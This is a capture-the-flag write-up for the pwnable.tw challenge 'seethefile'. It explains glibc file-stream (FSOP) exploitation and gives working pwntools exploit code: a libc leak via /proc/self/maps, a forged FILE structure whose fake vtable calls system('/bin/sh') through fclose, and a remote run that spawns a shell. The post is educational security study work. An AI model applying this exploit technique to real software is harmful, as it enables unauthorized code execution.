seethefile - pwnable.tw

Now that I don’t have pwnable.kr to do anymore, I occasionally dabble in pwnable.tw to keep the muscles sharp.

I heard that FSOP is a technique that is used A LOT these days, mostly due to __free_hook (or malloc) not being relevant anymore, other mitigations, etc.

I learned it a while ago, but to be honest, I pretty much forgot it all. I know seethefile is an FSOP CTF, so let’s solve it and sharpen our skills.

To get started, let’s start with a decompilation of the program. It’s very simple.

08048a37    int32_t main(int32_t argc, char** argv, char** envp)
08048a3e        void* const __return_addr_1 = __return_addr
08048a44        int32_t* var_c = &argc
08048a4e        void* gsbase
08048a4e        int32_t var_14 = *(gsbase + 0x14)
08048a53        init()
08048a58        welcome()
08048a58        
08048a5d        while (true)
08048a5d            menu()
08048a6e            char nptr[0x20]
08048a6e            __isoc99_scanf(format: "%s", &nptr)
08048a6e            
08048a8c            switch (atoi(&nptr))
08048aa1                case 1
08048aa1                    openfile()
08048aa6                    continue
08048aab                case 2
08048aab                    readfile()
08048ab0                    continue
08048ab5                case 3
08048ab5                    writefile()
08048aba                    continue
08048abc                case 4
08048abc                    closefile()
08048ac1                    continue
08048a9f                case 5
08048a9f                    break
08048a9f            
08048b29            puts(str: "Invaild choice")
08048b36            exit(status: 0)
08048b36            noreturn
08048b36        
08048acb        printf(format: "Leave your name :")
08048ae0        __isoc99_scanf(format: "%s", &name)
08048af5        printf(format: "Thank you %s ,see you next time\n", &name)
08048af5        
08048b04        if (fp != 0)
08048b0f            fclose(fp: fp)
08048b0f        
08048b1c        exit(status: 0)
08048b1c        noreturn

08048747    int32_t openfile()
08048754        if (fp != 0)
0804875e            puts(str: "You need to close the file first")
08048766            return 0
08048766        
0804877f        memset(&magicbuf, 0, 0x190)
0804878f        printf(format: "What do you want to see :")
080487a4        __isoc99_scanf(format: "%63s", &filename)
080487a4        
080487c3        if (strstr(haystack: &filename, needle: "flag") != 0)
080487cd            puts(str: "Danger !")
080487da            exit(status: 0)
080487da            noreturn
080487da        
080487f4        fp = fopen(&filename, mode: "r")
080487f4        
08048800        if (fp != 0)
0804881c            return puts(str: "Open Successful")
0804881c        
0804880a        return puts(str: "Open failed")

08048826    size_t readfile()
0804882c        int32_t var_10 = 0
08048842        memset(&magicbuf, 0, 0x190)
08048842        
08048851        if (fp == 0)
08048890            return puts(str: "You need to open a file first")
08048890        
08048865        size_t result = fread(buf: &magicbuf, size: 0x18f, count: 1, fp: fp)
08048865        
08048874        if (result == 0)
0804889a            return result
0804889a        
0804887e        return puts(str: "Read Successful")

0804889b    int32_t writefile()
080488b8        if (strstr(haystack: &filename, needle: "flag") == 0
080488b8                && strstr(haystack: &magicbuf, needle: "FLAG") == 0
080488b8                && strchr(&magicbuf, 0x7d) == 0)
08048915            return puts(str: &magicbuf)
08048915        
080488f1        puts(str: "you can't see it")
080488fe        exit(status: 1)
080488fe        noreturn

08048916    int32_t closefile()
08048923        int32_t result
08048923        
08048923        if (fp == 0)
08048940            result = puts(str: "Nothing need to close")
08048923        else
0804892e            result = fclose(fp: fp)
0804892e        
08048948        fp = 0
08048954        return result

This is less of a CTF writeup, and more of an FSOP learning blog, so let’s get right into it.

Trivially, we can see in main that there’s an unbounded scanf() call with name passed, meaning we can overflow there. name is found in BSS:

0804b080  filename:
...
0804b0c0  magicbuf:
...
0804b260  name:
0804b260  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................................
0804b280  uint32_t fp = 0x0

And right after it.. fp! (note: we also have a stack overflow, but that is irrelevant in this case.)

In cases like these, where we can overwrite an fp to point to our own location, we use a technique called FSOP (File Stream Oriented Programming). It is a binary exploitation technique that uses the GLIBC file stream structures in order to gain code execution.

So, the fp, in reality, is a FILE* object, which is:

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

Where FILE is:

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  ...

  int fileno;
  
  ...

  _IO_lock_t *_lock;
  ...
  struct _IO_wide_data *_wide_data;
  ,,,
};

So, we have the FILE (or _IO_FILE), with a vtable (interesting!) at the end. Now, the basic idea of FSOP is to abuse this structure (either by overwriting fields, by simply replacing it entirely, etc), in order to get arbitrary read / write and code execution.

Let’s start with the buffers. The first thing we notice is that there are read/write pointers there, which should immediately scream arbitrary r/w at us given that we can fully control these. The terminology here is that the read buffer is “reading from a file to memory”, and the write buffer is “writing from memory to a file”. For example, if we were overwriting the fp of stdout, we could simply point the write buffer to puts@got, and leak libc that way.

How does that work in a nutshell? Well, take puts("blablabla") for example. puts calls _IO_sputn(stdout, str, len), which is a macro that invokes the vtable’s xsputn. For normal file streams, that’s _IO_new_file_xsputn. Inside, it first checks how much space is left in the write buffer, and copies our string into it:

  // space available in write buffer
  if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr;

  // copy our string INTO the write buffer
  if (count > 0)
    {
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }

Once the buffer is full (or needs flushing), it calls _IO_OVERFLOW(f, EOF), which flushes the write buffer:

  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
                         f->_IO_write_ptr - f->_IO_write_base);

This writes everything between _IO_write_base and _IO_write_ptr out. _IO_do_write eventually calls _IO_SYSWRITE, which resolves to the actual write() syscall:

  // _IO_new_file_write
  _IO_ssize_t count = write (f->_fileno, data, to_do);

This is exactly why controlling the write buffer gives us an arbitrary read. If we set _IO_write_base = puts@got and _IO_write_ptr = puts@got + 4, then on the next flush, glibc does write(fd, puts@got, 4) - dumping the GOT entry into whatever f->_fileno points to. Understanding read is left to the reader :)

These are the buffers. Now, what about the vtable? Well, these vtables are used by libc internally, inside higher-level functions, such as printf, fgets, fread, and puts. In the case of standard streams, it’ll point to _IO_file_jumps:

const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

Where _IO_file_xsputn is used in puts and printf for example. This should scream code execution to us at some point, if we control this vtable or pointers inside it. However, in newer version (glibc >= 2.24), glibc checks if the address resides inside a specific vtables section named __libc_IO_vtables, making it impossible for us to simply point to a .bss location etc. luckily for us, in this challenge, the libc is 2.23, so we’re safe. :)

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

note: there are other ways to abuse it, though, we’ll just not explore them at this point, I want to keep it concise on the CTF.

Now, we know we can:

  1. Gain arbitrary r/w by changing the read/write buffers.
  2. Gain code execution by faking a vtable.

How does this help us in our challenge? Given the fact we’re given the ability (using openfile/readfile) to read content from a file into .bss (quite an honorable size too), we can fake an _IO_FILE_plus struct, and then simply point our fp there.

But… What will our vtable be? We don’t have a libc leak, meaning our vtable will simply cause us to crash. We can get libc via a nasty game of FSOP (will not elaborate, but we can use flags to get fsb), or we can simply make the program read /proc/self/maps and leak libc:

openfile(b'/proc/self/maps')

libc_base = None
while libc_base is None:
    readfile()
    data = writefile()
    for line in data.split(b'\n'):
        if b'libc' in line and b'r-xp' in line:
            libc_base = int(line.split(b'-')[0], 16)
            break

libc.address = libc_base
log.info(f"libc base: {hex(libc.address)}")
closefile()

Now, we can properly point an entry in the vtable to win code execution, but we also have the option to simply overwrite *atoi@GOT with system in order to win. First, though, we need to understand how we can overwrite fp and still stay in the program. As we said before, we can overwrite fp using name. However, the flow simply asks for your name, and then exits (after calling fclose(fp)).

Well, what does fclose do…?

int
_IO_new_fclose (_IO_FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

  ...
  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    // --> We land here.
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  ...
  
  return status;
}

And:

...
int
_IO_new_file_close_it (_IO_FILE *fp)
{
  int write_status;
  if (!_IO_file_is_open (fp))
    return EOF;

  if ((fp->_flags & _IO_NO_WRITES) == 0
      && (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
    write_status = _IO_do_flush (fp);
  else
    write_status = 0;

  ...
  // --> Calls _IO_SYSCLOSE!
  int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
		      ? _IO_SYSCLOSE (fp) : 0);
  ...
  
  return close_status ? close_status : write_status;

Where _IO_SYSCLOSE is:

#define _IO_SYSCLOSE(FP) JUMP0 (__close, FP)
...
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)

Meaning, it’s a jump to the __close (AKA close) in the vtable!

Then, what if we simply overwrite that function to point to main? That way, we can overwrite fp, then get right back to main, in which point there’s a scanf (aka a read), which we can use to write into atoi@GOT and then get shell. I, however, wanted to try a more sophisticated approach. When close is called, it passes fp as the first argument. If we set _flags and _IO_read_ptr to “/bin/sh\x00”, will it work?

To do so, we can use the pwntools FileStructure:

NAME = 0x804b260
FAKE_VTABLE = NAME + 0x98

fake = FileStructure()
fake.flags = u32(b"/bin")
fake._IO_read_ptr = u32(b"/sh\0")
fake._IO_buf_end = NAME # this is where fp is, we point it back to us.
fake.fileno = 0
fake.vtable = FAKE_VTABLE

vtable = flat({0x44: libc.symbols['system']}, length=0x48)

leave(bytes(fake) + vtable)

And:

Program received signal SIGSEGV, Segmentation fault.
0xf7de9f04 in fclose () from ./libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────
*EAX  0x6e69622f ('/bin')
*EBX  0xf7f3d000 ◂— 0x1afdb0
*ECX  0xffffffff
 EDX  0
*EDI  0xf7f6e940 ◂— 0xf7f6e940
*ESI  0x804b260 (name) ◂— '/bin/sh'
*EBP  0xffafd0e8 —▸ 0xffafd138 ◂— 0
*ESP  0xffafd0c0 —▸ 0xf7f3d000 ◂— 0x1afdb0
*EIP  0xf7de9f04 (fclose+68) ◂— cmp edi, dword ptr [edx + 8]
──────────────────────[ DISASM / i386 / set emulate on ]──────────────────────
  0xf7de9f04 <fclose+68>     cmp    edi, dword ptr [edx + 8]
   0xf7de9f07 <fclose+71>     je     fclose+111                  <fclose+111>
 
   0xf7de9f09 <fclose+73>     xor    eax, eax                  EAX => 0
   0xf7de9f0b <fclose+75>     mov    ecx, 1                    ECX => 1
   0xf7de9f10 <fclose+80>     cmp    dword ptr gs:[0xc], 0
   0xf7de9f18 <fclose+88>     je     fclose+91                   <fclose+91>
 
   0xf7de9f1a <fclose+90>     lock cmpxchg dword ptr [edx], ecx
   0xf7de9f1e <fclose+94>     je     fclose+103                  <fclose+103>
 
   0xf7de9f20 <fclose+96>     lea    ecx, [edx]
   0xf7de9f22 <fclose+98>     call   0xf7e7eae0                  <0xf7e7eae0>
 
   0xf7de9f27 <fclose+103>    mov    edx, dword ptr [esi + 0x48]
──────────────────────────────────[ STACK ]───────────────────────────────────
00:0000 esp 0xffafd0c0 —▸ 0xf7f3d000 ◂— 0x1afdb0
01:0004-024 0xffafd0c4 —▸ 0xf7f3d000 ◂— 0x1afdb0
02:0008-020 0xffafd0c8 —▸ 0xffafd138 ◂— 0
03:000c-01c 0xffafd0cc —▸ 0xf7dd6046 (printf+38) ◂— add esp, 0x1c
04:0010-018 0xffafd0d0 —▸ 0xf7f3dd60 (_IO_2_1_stdout_) ◂— 0xfbad2887
05:0014-014 0xffafd0d4 —▸ 0x8048df0 ◂— push esp /* 'Thank you %s ,see you next time\n' */
06:0018-010 0xffafd0d8 —▸ 0xf7de9ecb (fclose+11) ◂— add ebx, 0x153135
07:001c-00c 0xffafd0dc ◂— 0
────────────────────────────────[ BACKTRACE ]─────────────────────────────────
  0 0xf7de9f04 fclose+68
   1 0x8048b14 main+221
   2 0xf7da5637 __libc_start_main+247
   3 0x8048611 _start+33
──────────────────────────────────────────────────────────────────────────────
pwndbg> 

… We forgot to initialize some field. Let’s see what goes on in fclose+68:

pwndbg> disassemble 0xf7de9f04-68
Dump of assembler code for function fclose:
...
   0xf7de9efa <+58>:	mov    edx,DWORD PTR [esi+0x48]
   0xf7de9efd <+61>:	mov    edi,DWORD PTR gs:0x8
=> 0xf7de9f04 <+68>:	cmp    edi,DWORD PTR [edx+0x8]
...
pwndbg> x/a $esi
0x804b260 <name>:	0x6e69622f

So, it tries to access *(fp + 0x48), and fails due to a NULL dereference. Whats in that offset? Well, after googling etc. I found out you must set fp->lock to a zeroed out writable memory location. If we simply set it:

fake._lock = NAME + 0x6c

Then:

 python3 exploit.py REMOTE
[*] '/home/wired0ut/pwnable/tw/seethefile/seethefile'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8046000)
    RUNPATH:    b'.'
    Stripped:   No
[*] '/home/wired0ut/pwnable/tw/seethefile/libc_32.so.6'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[*] '/home/wired0ut/pwnable/tw/seethefile/ld-2.23.so'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10200: Done
[*] libc base: 0xf7599000
[*] system:    0xf75d3940
[*] Switching to interactive mode
Thank you /bin/sh ,see you next time
$ ./home/seethefile/get_flag
Your magic :Give me the flag
Here is your flag: FLAG{SOLVE_IT_FOR_YOURSELF}

This was cool, but I definitely think I’ll need more FSOP CTFs to hone my skills more.

`Till the next time.